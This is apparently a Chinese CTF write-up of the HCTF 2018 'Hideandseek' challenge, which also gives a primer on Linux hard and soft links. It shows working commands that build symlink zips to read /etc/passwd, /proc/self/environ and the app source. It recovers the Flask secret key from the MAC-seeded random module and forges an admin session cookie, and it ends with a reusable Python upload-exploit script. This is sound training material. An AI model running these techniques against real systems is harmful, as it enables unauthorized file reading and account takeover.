BUU [HCTF 2018]Hideandseek

考点：

1. 软连接读取任意文件
2. Flask伪造session
3. /proc/self/environ文件获取当前进程的环境变量列表
4. random.seed()生成的伪随机数种子
5. MAC地址(存放在/sys/class/net/eth0/address文件)

国赛的时候遇见过软连接，这次再来学习一下，也算是一个心病了。

先介绍一下什么是软连接。

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Linux中包括两种链接：硬链接(Hard Link)和软链接(Soft Link)，软链接又称为符号链接（Symbolic link）。

【硬连接】
硬连接指通过索引节点来进行连接。在Linux的文件系统中，保存在磁盘分区中的文件不管是什么类型都给它分配一个编号，称为索引节点号(Inode Index)。在Linux中，多个文件名指向同一索引节点是存在的。一般这种连接就是硬连接。硬连接的作用是允许一个文件拥有多个有效路径名，这样用户就可以建立硬连接到重要文件，以防止“误删”的功能。其原因如上所述，因为对应该目录的索引节点有一个以上的连接。只删除一个连接并不影响索引节点本身和其它的连接，只有当最后一个连接被删除后，文件的数据块及目录的连接才会被释放。也就是说，文件真正删除的条件是与之相关的所有硬连接文件均被删除。硬链接说白了是一个指针，指向文件索引节点，系统并不为它重新分配inode。

【软连接】
软连接是linux中一个常用命令，它的功能是为某一个文件在另外一个位置建立一个不同的链接。实际应用是：当 我们需要在不同的目录，用到相同的文件时，我们不需要在每一个需要的目录下都放一个必须相同的文件，我们只要在其它的 目录下用ln命令 链接（link）就可以，不必重复的占用磁盘空间。

[索引节点(inode)]

要了解链接，我们首先得了解一个概念，叫索引节点(inode)。在Linux系统中，内核为每一个新创建的文件分配一个Inode(索引结点)，每个文件都有一个惟一的inode号，我们可以将inode简单理解成一个指针，它永远指向本文件的具体存储位置。文件属性保存在索引结点里，在访问文件时，索引结点被复制到内存在，从而实现文件的快速访问。系统是通过索引节点(而不是文件名)来定位每一个文件。

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软连接用法：

创建软链接

ln -s [源文件或目录] [目标文件或目录]

//当前路径创建test 引向/var/www/test 文件夹 
ln –s  /var/www/test  test

//创建/var/test 引向/var/www/test 文件夹 
ln –s  /var/www/test   /var/test

删除软链接

//删除test
rm –rf test

修改软链接

ln –snf [新的源文件或目录] [目标文件或目录]

这将会修改原有的链接地址为新的地址

//创建一个软链接
ln –s /var/www/test /var/test

//修改指向的新路径
ln –snf /var/www/test1 /var/test

常用参数：

-f : 链结时先将与 dist 同档名的档案删除
-d : 允许系统管理者硬链结自己的目录
-i : 在删除与 dist 同档名的档案时先进行询问
-n : 在进行软连结时，将 dist 视为一般的档案
-s : 进行软链结(symbolic link)
-v : 在连结之前显示其档名
-b : 将在链结时会被覆写或删除的档案进行备份
-S SUFFIX : 将备份的档案都加上 SUFFIX 的字尾
-V METHOD : 指定备份的方式
–help : 显示辅助说明
–version : 显示版本

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开始做题。

当前页面只有登录一个功能可以用，其他都不会跳转。尝试登录。

发现任意用户密码均可登录，但是唯独不能登录admin。

登录后有一个上传文件点。提示我们上传.zip后缀的压缩包。

随便上传一个.php试试水，发现只能上传.zip压缩包。

压缩包很容易让人想到软连接，尝试先随便上传一个.zip压缩包。没有任何回显。

然后上传一个内容为软连接的压缩包，尝试读取/etc/passwd文件。

linux中输入命令制作软连接压缩包。

ln -s /etc/passwd passwd
zip -y passwd.zip passwd

rm –rf passwd

然后上传，发现成功回显服务端/etc/passwd的内容。

那理论上来说，我们也能直接读取/flag的内容。但是尝试了一下却失败了。。。

猜测可能是权限不足，需要以admin身份登录才能有权限读取/flag。如何登录admin，信息搜集一下发现了session，服务端应该是通过session判断身份的，我们需要伪造session。同时，通过session判断出使用了flask的框架。

下载一个工具flask_unsign，文件夹内开终端。工具只能解密爆破不出密码，只能自己找了。

flask-unsign --decode --cookie 'eyJ1c2VybmFtZSI6IjExMSJ9.F9gzQg.rUpgzWsMZS-4g4XKmZ3GL1-bRPQ'

得到{'username': '111'}

伪造session需要secret_key，尝试找一下源码。

因为已经通过软连接读取任意文件，我们尝试读取/proc/self/environ文件，以获取当前进程的环境变量列表，包括flask下的环境变量。
解释以下，其中/proc是虚拟文件系统，存储当前运行状态的一些特殊文件，可以通过这些文件查看有关系统硬件及当前正在运行进程的信息，甚至可以通过更改其中某些文件来改变内核的运行状态，而/environ是当前进程的环境变量列表。

ln -s /proc/self/environ self
zip -y self.zip self

rm –rf self

成功读取/proc/self/environ文件后。

我们注意到UWSGI_INI=/app/uwsgi.ini。也就是uwsgi服务器的配置文件，其中可能包含有源码路径。

client —> nginx —> uwsgi --> flask后台程序 （生产上一般都用这个流程）

我们以同样的方式制作软连接读取

ln -s /app/uwsgi.ini uwsgi
zip -y uwsgi.zip uwsgi

rm –rf uwsgi

得到源码路径，但是BUU环境有问题，这种做法当时比赛读到的源码路径是/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py，我们也以这个路径来做题，继续软连接读取源码。

ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py main
zip -y main.zip main

rm –rf main

Ctrl+U看得更加清楚一点。

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

浏览源码，SECRET_KEY是由python的随机函数random()生成的，种子是uuid.getnode()。和PHP一样，python的random()函数也是伪随机数，只要我们知道了种子uuid.getnode()是多少，拿到随机数生成的密钥SECRET_KEY不是问题。

python中uuid.getnode()方法以48位正整数形式获取硬件地址，也就是服务器的MAC地址。

现在的逻辑是这样的。MAC地址=》随机数种子=》SECRET_KEY=》伪造session=》admin登录=》flag。

查找到MAC地址存放在/sys/class/net/eth0/address文件中，软连接读取该文件：

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac

rm –rf mac

也有其他方法找mac地址：

c6:1b:39:ac:ff:91，c61b39acff91转十进制是217820234055569

本地跑一下密钥就出来。是76.9034879300039

kali中flask_session_cookie_manager3工具文件夹下开终端。

python flask_session_cookie_manager3.py encode -s "76.9034879300039" -t "{'username': 'admin'}"

得到eyJ1c2VybmFtZSI6ImFkbWluIn0.ZPaw7Q.seTwvDjojrAUhJXF998kV7QYEKY

成功登录admin账号，也不用再读取flag了，直接给了。

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找到一个软连接脚本：

import os
import requests
import sys


def make_zip():
    os.system('ln -s ' + sys.argv[2] + ' test_exp')
    os.system('zip -y test_exp.zip test_exp')


def run():
    make_zip()
    res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    print(res.text)

    os.system('rm -rf test_exp')
    os.system('rm -rf test_exp.zip')


if __name__ == '__main__':
    run()